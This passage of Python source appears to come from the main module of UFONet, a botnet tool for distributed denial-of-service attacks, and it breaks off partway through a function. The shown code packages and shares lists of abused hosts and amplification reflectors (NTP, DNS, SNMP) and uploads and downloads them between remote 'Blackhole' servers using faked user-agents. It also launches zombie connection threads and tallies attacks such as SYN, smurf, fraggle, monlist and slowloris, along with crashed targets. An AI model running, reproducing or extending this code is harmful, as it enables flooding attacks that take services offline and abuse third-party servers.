  1830. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
  1831. from pathlib import Path # import pathlib
  1832. import shutil # import shutil
  1833. src = 'data/'
  1834. files=os.listdir(src)
  1835. print("[AI] GUI [Data] has been deployed...\n")
  1836. for fname in files:
  1837. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1838. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1839. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1840. print("")
  1841. src2 = 'botnet/'
  1842. files=os.listdir(src2)
  1843. print("[AI] CORE [Botnet] has been deployed...\n")
  1844. for fname in files:
  1845. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1846. if fname == 'zombies.txt':
  1847. in_file = self.warping_path+"/"+fname
  1848. in_data = open(in_file, "rb").read()
  1849. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1850. gzf = gzip.open(out_gz, "wb")
  1851. gzf.write(in_data)
  1852. gzf.close()
  1853. os.unlink(in_file)
  1854. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1855. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1856. if fname == 'aliens.txt':
  1857. in_file = self.warping_path+"/"+fname
  1858. in_data = open(in_file, "rb").read()
  1859. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1860. gzf = gzip.open(out_gz, "wb")
  1861. gzf.write(in_data)
  1862. gzf.close()
  1863. os.unlink(in_file)
  1864. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1865. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1866. if fname == 'droids.txt':
  1867. in_file = self.warping_path+"/"+fname
  1868. in_data = open(in_file, "rb").read()
  1869. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1870. gzf = gzip.open(out_gz, "wb")
  1871. gzf.write(in_data)
  1872. gzf.close()
  1873. os.unlink(in_file)
  1874. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1875. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1876. if fname == 'ucavs.txt':
  1877. in_file = self.warping_path+"/"+fname
  1878. in_data = open(in_file, "rb").read()
  1879. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1880. gzf = gzip.open(out_gz, "wb")
  1881. gzf.write(in_data)
  1882. gzf.close()
  1883. os.unlink(in_file)
  1884. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1885. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1886. if fname == 'rpcs.txt':
  1887. in_file = self.warping_path+"/"+fname
  1888. in_data = open(in_file, "rb").read()
  1889. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1890. gzf = gzip.open(out_gz, "wb")
  1891. gzf.write(in_data)
  1892. gzf.close()
  1893. os.unlink(in_file)
  1894. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1895. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1896. if fname == 'snmp.txt':
  1897. in_file = self.warping_path+"/"+fname
  1898. in_data = open(in_file, "rb").read()
  1899. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1900. gzf = gzip.open(out_gz, "wb")
  1901. gzf.write(in_data)
  1902. gzf.close()
  1903. os.unlink(in_file)
  1904. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1905. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1906. if fname == 'ntp.txt':
  1907. in_file = self.warping_path+"/"+fname
  1908. in_data = open(in_file, "rb").read()
  1909. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1910. gzf = gzip.open(out_gz, "wb")
  1911. gzf.write(in_data)
  1912. gzf.close()
  1913. os.unlink(in_file)
  1914. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1915. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1916. if fname == 'dns.txt':
  1917. in_file = self.warping_path+"/"+fname
  1918. in_data = open(in_file, "rb").read()
  1919. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1920. gzf = gzip.open(out_gz, "wb")
  1921. gzf.write(in_data)
  1922. gzf.close()
  1923. os.unlink(in_file)
  1924. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1925. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1926. if fname == 'dorks.txt':
  1927. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1928. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1929. print("")
  1930. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1931. print(" - 1) Setup web server (apache, nginx...)")
  1932. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1933. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1934. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1935. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1936. print("")
  1937. except Exception as e:
  1938. print("[Error] "+str(e))
  1939. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1940. # generate [Blackhole] server to share [Zombies]
  1941. if options.blackhole:
  1942. self.banner()
  1943. try:
  1944. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1945. sys.path.append(blackhole_lib)
  1946. from core.tools.blackhole import BlackHole
  1947. print("\n[AI] Initiating void generation sequence...\n")
  1948. print('='*22 + '\n')
  1949. app = BlackHole()
  1950. app.start()
  1951. while True: time.sleep(1)
  1952. except KeyboardInterrupt:
  1953. print("\n[AI] Terminating void generation sequence...\n")
  1954. app.collapse()
  1955. except Exception as e:
  1956. print("[Error] "+str(e))
  1957. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1958. # create [Grider] server to share [Stats/Wargames/Messages]
  1959. if options.grider:
  1960. self.banner()
  1961. try:
  1962. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1963. sys.path.append(grider_lib)
  1964. from core.tools.grider import Grider
  1965. print("\n[AI] Initiating void generation sequence...\n")
  1966. print('='*22 + '\n')
  1967. app = Grider()
  1968. app.start()
  1969. while True: time.sleep(1)
  1970. except KeyboardInterrupt:
  1971. print("\n[AI] Terminating void generation sequence...\n")
  1972. app.collapse()
  1973. except Exception as e:
  1974. print("[Error] "+str(e))
  1975. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1976. # download list of [Zombies] from a [Blackhole] IP
  1977. if options.dip is not None:
  1978. options.download = True
  1979. self.blackhole = options.dip
  1980. # upload list of [Zombies] to a [Blackhole] IP
  1981. if options.upip is not None:
  1982. options.upload = True
  1983. self.blackhole = options.upip
  1984. # download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
  1985. if options.download_nodes:
  1986. try:
  1987. self.banner()
  1988. print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
  1989. print('='*22 + '\n')
  1990. download_nodes_list = self.downloading_nodes_list()
  1991. except Exception as e:
  1992. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1993. return
  1994. # download/upload from/to a user-provided IP (kept; --up-to / --down-from)
  1995. if getattr(options, 'download', False):
  1996. try:
  1997. self.banner()
  1998. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1999. print('='*22 + '\n')
  2000. download_list = self.downloading_list()
  2001. except Exception as e:
  2002. print("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  2003. return
  2004. if getattr(options, 'upload', False):
  2005. try:
  2006. self.banner()
  2007. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  2008. print('='*22 + '\n')
  2009. upload_list = self.uploading_list()
  2010. except Exception as e:
  2011. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  2012. if DEBUG == True:
  2013. traceback.print_exc()
  2014. return
  2015. return #sys.exit(2)
  2016. # starting new zombie thread
  2017. def connect_zombies(self, zombie):
  2018. max_alive = (self.options.threads or 5) + 50
  2019. while (threading.active_count() - self.herd.living) >= max_alive:
  2020. time.sleep(0.05)
  2021. z=Zombie(self, zombie)
  2022. t = threading.Thread(target=z.connect, name=zombie)
  2023. t.start()
  2024. # single connection handling
  2025. def connect_zombie(self, zombie):
  2026. z=Zombie(self,zombie)
  2027. return z.connect()
  2028. def extract_proxy(self, proxy):
  2029. sep = ":"
  2030. proxy_ip = proxy.rsplit(sep, 1)[0]
  2031. if proxy_ip.startswith('http://'):
  2032. proxy_ip = proxy_ip.replace('http://', '')
  2033. elif proxy_ip.startswith('https://'):
  2034. proxy_ip = proxy_ip.replace('https://', '')
  2035. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  2036. proxy_ip = 'localhost'
  2037. proxy_port = proxy.rsplit(sep, 1)[1]
  2038. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  2039. return proxy_url
  2040. def proxy_transport(self, proxy):
  2041. proxy_url = self.extract_proxy(proxy)
  2042. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  2043. opener = urllib.request.build_opener(proxy)
  2044. urllib.request.install_opener(opener)
  2045. def check_mothership_chargo(self):
  2046. f = open(self.zombies_file)
  2047. self.zombies = f.readlines()
  2048. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2049. self.list_zombies = []
  2050. for zombie in self.zombies:
  2051. t = urlparse(zombie)
  2052. name_zombie = t.netloc
  2053. if name_zombie == "":
  2054. name_zombie = zombie
  2055. self.list_zombies.append(name_zombie)
  2056. self.num_zombies = str(len(self.zombies))
  2057. f.close()
  2058. f = open(self.aliens_file)
  2059. self.aliens = f.readlines()
  2060. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2061. self.list_aliens = []
  2062. for alien in self.aliens:
  2063. t = urlparse(alien)
  2064. name_alien = t.netloc
  2065. if name_alien == "":
  2066. name_alien = alien
  2067. self.list_aliens.append(name_alien)
  2068. self.num_aliens = str(len(self.aliens))
  2069. f.close()
  2070. f = open(self.droids_file)
  2071. self.droids = f.readlines()
  2072. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2073. self.list_droids = []
  2074. for droid in self.droids:
  2075. t = urlparse(droid)
  2076. name_droid = t.netloc
  2077. if name_droid == "":
  2078. name_droid = droid
  2079. self.list_droids.append(name_droid)
  2080. self.num_droids = str(len(self.droids))
  2081. f.close()
  2082. f = open(self.ucavs_file)
  2083. self.ucavs = f.readlines()
  2084. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2085. self.list_ucavs = []
  2086. for ucav in self.ucavs:
  2087. t = urlparse(ucav)
  2088. name_ucav = t.netloc
  2089. if name_ucav == "":
  2090. name_ucav = ucav
  2091. self.list_ucavs.append(name_ucav)
  2092. self.num_ucavs = str(len(self.ucavs))
  2093. f.close()
  2094. f = open(self.rpcs_file)
  2095. self.rpcs = f.readlines()
  2096. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2097. self.list_rpcs = []
  2098. for rpc in self.rpcs:
  2099. t = urlparse(rpc)
  2100. name_rpc = t.netloc
  2101. if name_rpc == "":
  2102. name_rpc = rpc
  2103. self.list_rpcs.append(name_rpc)
  2104. self.num_rpcs = str(len(self.rpcs))
  2105. f.close()
  2106. f = open(self.dnss_file)
  2107. self.dnss = f.readlines()
  2108. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2109. self.list_dnss = []
  2110. for dns in self.dnss:
  2111. t = urlparse(dns)
  2112. name_dns = t.netloc
  2113. if name_dns == "":
  2114. name_dns = dns
  2115. self.list_dnss.append(name_dns)
  2116. self.num_dnss = str(len(self.dnss))
  2117. f.close()
  2118. f = open(self.ntps_file)
  2119. self.ntps = f.readlines()
  2120. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2121. self.list_ntps = []
  2122. for ntp in self.ntps:
  2123. t = urlparse(ntp)
  2124. name_ntp = t.netloc
  2125. if name_ntp == "":
  2126. name_ntp = ntp
  2127. self.list_ntps.append(name_ntp)
  2128. self.num_ntps = str(len(self.ntps))
  2129. f.close()
  2130. f = open(self.snmps_file)
  2131. self.snmps = f.readlines()
  2132. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2133. self.list_snmps = []
  2134. for snmp in self.snmps:
  2135. t = urlparse(snmp)
  2136. name_snmp = t.netloc
  2137. if name_snmp == "":
  2138. name_snmp = snmp
  2139. self.list_snmps.append(name_snmp)
  2140. self.num_snmps = str(len(self.snmps))
  2141. f.close()
  2142. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
  2143. return self.total_botnet
  2144. def update_flying_stats(self):
  2145. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  2146. with open(self.mothership_stats_file, "w") as f:
  2147. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  2148. stats_json_file = open(self.mothership_stats_file, "r")
  2149. data = json.load(stats_json_file)
  2150. stats_json_file.close()
  2151. aflying = data["flying"]
  2152. aflying = str(int(aflying) + 1) # add new flying time
  2153. data["flying"] = aflying
  2154. stats_json_file = open(self.mothership_stats_file, "w+")
  2155. stats_json_file.write(json.dumps(data))
  2156. stats_json_file.close()
  2157. def update_mothership_stats(self):
  2158. stats_json_file = open(self.mothership_stats_file, "r")
  2159. data = json.load(stats_json_file)
  2160. stats_json_file.close()
  2161. acompleted = data["completed"]
  2162. acompleted = str(int(acompleted) + 1) # add new completed attack
  2163. data["completed"] = acompleted
  2164. stats_json_file = open(self.mothership_stats_file, "w+")
  2165. stats_json_file.write(json.dumps(data))
  2166. stats_json_file.close()
  2167. def update_targets_crashed(self):
  2168. stats_json_file = open(self.mothership_stats_file, "r")
  2169. data = json.load(stats_json_file)
  2170. stats_json_file.close()
  2171. tcrashed = data["crashed"]
  2172. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  2173. data["crashed"] = tcrashed
  2174. stats_json_file = open(self.mothership_stats_file, "w+")
  2175. stats_json_file.write(json.dumps(data))
  2176. stats_json_file.close()
  2177. def update_missions_stats(self):
  2178. stats_json_file = open(self.mothership_stats_file, "r")
  2179. data = json.load(stats_json_file)
  2180. stats_json_file.close()
  2181. missions = data["missions"]
  2182. missions = str(int(missions) + 1) # add new mission target
  2183. data["missions"] = missions
  2184. stats_json_file = open(self.mothership_stats_file, "w+")
  2185. stats_json_file.write(json.dumps(data))
  2186. stats_json_file.close()
  2187. def update_scanner_stats(self, num):
  2188. stats_json_file = open(self.mothership_stats_file, "r")
  2189. data = json.load(stats_json_file)
  2190. stats_json_file.close()
  2191. scanner = data["scanner"]
  2192. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  2193. data["scanner"] = scanner
  2194. stats_json_file = open(self.mothership_stats_file, "w+")
  2195. stats_json_file.write(json.dumps(data))
  2196. stats_json_file.close()
  2197. def update_transferred_stats(self, num):
  2198. stats_json_file = open(self.mothership_stats_file, "r")
  2199. data = json.load(stats_json_file)
  2200. stats_json_file.close()
  2201. transferred = data["transferred"]
  2202. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  2203. data["transferred"] = transferred
  2204. stats_json_file = open(self.mothership_stats_file, "w+")
  2205. stats_json_file.write(json.dumps(data))
  2206. stats_json_file.close()
  2207. def update_max_chargo(self, chargo):
  2208. stats_json_file = open(self.mothership_stats_file, "r")
  2209. data = json.load(stats_json_file)
  2210. stats_json_file.close()
  2211. amax_chargo = data["max_chargo"]
  2212. if int(chargo) > int(amax_chargo): # new max chargo found
  2213. amax_chargo = chargo # add new max chargo
  2214. else:
  2215. amax_chargo = data["max_chargo"]
  2216. data["max_chargo"] = amax_chargo
  2217. stats_json_file = open(self.mothership_stats_file, "w+")
  2218. stats_json_file.write(json.dumps(data))
  2219. stats_json_file.close()
  2220. def update_loic_stats(self):
  2221. stats_json_file = open(self.mothership_stats_file, "r")
  2222. data = json.load(stats_json_file)
  2223. stats_json_file.close()
  2224. aloic = data["loic"]
  2225. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  2226. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  2227. data["loic"] = aloic
  2228. stats_json_file = open(self.mothership_stats_file, "w+")
  2229. stats_json_file.write(json.dumps(data))
  2230. stats_json_file.close()
  2231. def update_loris_stats(self):
  2232. stats_json_file = open(self.mothership_stats_file, "r")
  2233. data = json.load(stats_json_file)
  2234. stats_json_file.close()
  2235. aloris = data["loris"]
  2236. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  2237. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  2238. data["loris"] = aloris
  2239. stats_json_file = open(self.mothership_stats_file, "w+")
  2240. stats_json_file.write(json.dumps(data))
  2241. stats_json_file.close()
  2242. def update_ufosyn_stats(self):
  2243. stats_json_file = open(self.mothership_stats_file, "r")
  2244. data = json.load(stats_json_file)
  2245. stats_json_file.close()
  2246. aufosyn = data["ufosyn"]
  2247. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  2248. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  2249. data["ufosyn"] = aufosyn
  2250. stats_json_file = open(self.mothership_stats_file, "w+")
  2251. stats_json_file.write(json.dumps(data))
  2252. stats_json_file.close()
  2253. def update_spray_stats(self):
  2254. stats_json_file = open(self.mothership_stats_file, "r")
  2255. data = json.load(stats_json_file)
  2256. stats_json_file.close()
  2257. aspray = data["spray"]
  2258. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  2259. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  2260. data["spray"] = aspray
  2261. stats_json_file = open(self.mothership_stats_file, "w+")
  2262. stats_json_file.write(json.dumps(data))
  2263. stats_json_file.close()
  2264. def update_smurf_stats(self):
  2265. stats_json_file = open(self.mothership_stats_file, "r")
  2266. data = json.load(stats_json_file)
  2267. stats_json_file.close()
  2268. asmurf = data["smurf"]
  2269. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  2270. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  2271. data["smurf"] = asmurf
  2272. stats_json_file = open(self.mothership_stats_file, "w+")
  2273. stats_json_file.write(json.dumps(data))
  2274. stats_json_file.close()
  2275. def update_fraggle_stats(self):
  2276. stats_json_file = open(self.mothership_stats_file, "r")
  2277. data = json.load(stats_json_file)
  2278. stats_json_file.close()
  2279. afraggle = data["fraggle"]
  2280. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  2281. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  2282. data["fraggle"] = afraggle
  2283. stats_json_file = open(self.mothership_stats_file, "w+")
  2284. stats_json_file.write(json.dumps(data))
  2285. stats_json_file.close()
  2286. def update_xmas_stats(self):
  2287. stats_json_file = open(self.mothership_stats_file, "r")
  2288. data = json.load(stats_json_file)
  2289. stats_json_file.close()
  2290. axmas = data["xmas"]
  2291. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  2292. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  2293. data["xmas"] = axmas
  2294. stats_json_file = open(self.mothership_stats_file, "w+")
  2295. stats_json_file.write(json.dumps(data))
  2296. stats_json_file.close()
  2297. def update_ufoack_stats(self):
  2298. stats_json_file = open(self.mothership_stats_file, "r")
  2299. data = json.load(stats_json_file)
  2300. stats_json_file.close()
  2301. aufoack = data["ufoack"]
  2302. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  2303. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  2304. data["ufoack"] = aufoack
  2305. stats_json_file = open(self.mothership_stats_file, "w+")
  2306. stats_json_file.write(json.dumps(data))
  2307. stats_json_file.close()
  2308. def update_uforst_stats(self):
  2309. stats_json_file = open(self.mothership_stats_file, "r")
  2310. data = json.load(stats_json_file)
  2311. stats_json_file.close()
  2312. auforst = data["uforst"]
  2313. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  2314. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  2315. data["uforst"] = auforst
  2316. stats_json_file = open(self.mothership_stats_file, "w+")
  2317. stats_json_file.write(json.dumps(data))
  2318. stats_json_file.close()
  2319. def update_droper_stats(self):
  2320. stats_json_file = open(self.mothership_stats_file, "r")
  2321. data = json.load(stats_json_file)
  2322. stats_json_file.close()
  2323. adroper = data["droper"]
  2324. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  2325. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  2326. data["droper"] = adroper
  2327. stats_json_file = open(self.mothership_stats_file, "w+")
  2328. stats_json_file.write(json.dumps(data))
  2329. stats_json_file.close()
  2330. def update_overlap_stats(self):
  2331. stats_json_file = open(self.mothership_stats_file, "r")
  2332. data = json.load(stats_json_file)
  2333. stats_json_file.close()
  2334. aoverlap = data["overlap"]
  2335. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  2336. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  2337. data["overlap"] = aoverlap
  2338. stats_json_file = open(self.mothership_stats_file, "w+")
  2339. stats_json_file.write(json.dumps(data))
  2340. stats_json_file.close()
  2341. def update_pinger_stats(self):
  2342. stats_json_file = open(self.mothership_stats_file, "r")
  2343. data = json.load(stats_json_file)
  2344. stats_json_file.close()
  2345. apinger = data["pinger"]
  2346. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  2347. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  2348. data["pinger"] = apinger
  2349. stats_json_file = open(self.mothership_stats_file, "w+")
  2350. stats_json_file.write(json.dumps(data))
  2351. stats_json_file.close()
  2352. def update_ufoudp_stats(self):
  2353. stats_json_file = open(self.mothership_stats_file, "r")
  2354. data = json.load(stats_json_file)
  2355. stats_json_file.close()
  2356. aufoudp = data["ufoudp"]
  2357. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  2358. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  2359. data["ufoudp"] = aufoudp
  2360. stats_json_file = open(self.mothership_stats_file, "w+")
  2361. stats_json_file.write(json.dumps(data))
  2362. stats_json_file.close()
  2363. def update_nuke_stats(self):
  2364. stats_json_file = open(self.mothership_stats_file, "r")
  2365. data = json.load(stats_json_file)
  2366. stats_json_file.close()
  2367. anuke = data["nuke"]
  2368. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  2369. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  2370. data["nuke"] = anuke
  2371. stats_json_file = open(self.mothership_stats_file, "w+")
  2372. stats_json_file.write(json.dumps(data))
  2373. stats_json_file.close()
  2374. def update_tachyon_stats(self):
  2375. stats_json_file = open(self.mothership_stats_file, "r")
  2376. data = json.load(stats_json_file)
  2377. stats_json_file.close()
  2378. atachyon = data["tachyon"]
  2379. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  2380. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  2381. data["tachyon"] = atachyon
  2382. stats_json_file = open(self.mothership_stats_file, "w+")
  2383. stats_json_file.write(json.dumps(data))
  2384. stats_json_file.close()
  2385. def update_monlist_stats(self):
  2386. stats_json_file = open(self.mothership_stats_file, "r")
  2387. data = json.load(stats_json_file)
  2388. stats_json_file.close()
  2389. amonlist = data["monlist"]
  2390. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  2391. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  2392. data["monlist"] = amonlist
  2393. stats_json_file = open(self.mothership_stats_file, "w+")
  2394. stats_json_file.write(json.dumps(data))
  2395. stats_json_file.close()
  2396. def update_sniper_stats(self):
  2397. stats_json_file = open(self.mothership_stats_file, "r")
  2398. data = json.load(stats_json_file)
  2399. stats_json_file.close()
  2400. asniper = data["sniper"]
  2401. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  2402. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  2403. data["sniper"] = asniper
  2404. stats_json_file = open(self.mothership_stats_file, "w+")
  2405. stats_json_file.write(json.dumps(data))
  2406. stats_json_file.close()
  2407. def uploading_list(self):
  2408. from io import BytesIO
  2409. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2410. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2411. abductions = "botnet/abductions.txt.gz"
  2412. troops = "botnet/troops.txt.gz"
  2413. robots = "botnet/robots.txt.gz"
  2414. drones = "botnet/drones.txt.gz"
  2415. reflectors = "botnet/reflectors.txt.gz"
  2416. crystals = "botnet/crystals.txt.gz"
  2417. warps = "botnet/warps.txt.gz"
  2418. bosons = "botnet/bosons.txt.gz"
  2419. if self.options.timeout: # set timeout
  2420. try:
  2421. timeout = int(self.options.timeout)
  2422. except:
  2423. timeout = 5
  2424. else:
  2425. timeout = 5
  2426. if timeout < 1:
  2427. timeout = 5
  2428. try:
  2429. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  2430. if self.options.forcessl:
  2431. if self.options.proxy: # set proxy
  2432. self.proxy_transport(options.proxy)
  2433. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2434. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2435. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2436. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2437. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2438. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2439. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2440. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2441. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2442. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2443. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2444. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2445. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2446. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2447. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2448. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2449. else:
  2450. if self.options.proxy: # set proxy
  2451. self.proxy_transport(options.proxy)
  2452. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2453. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2454. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2455. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2456. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2457. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2458. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2459. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2460. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2461. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2462. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2463. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2464. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2465. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2466. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2467. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2468. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2469. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2470. print('-'*12 + '\n')
  2471. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  2472. return
  2473. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2474. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
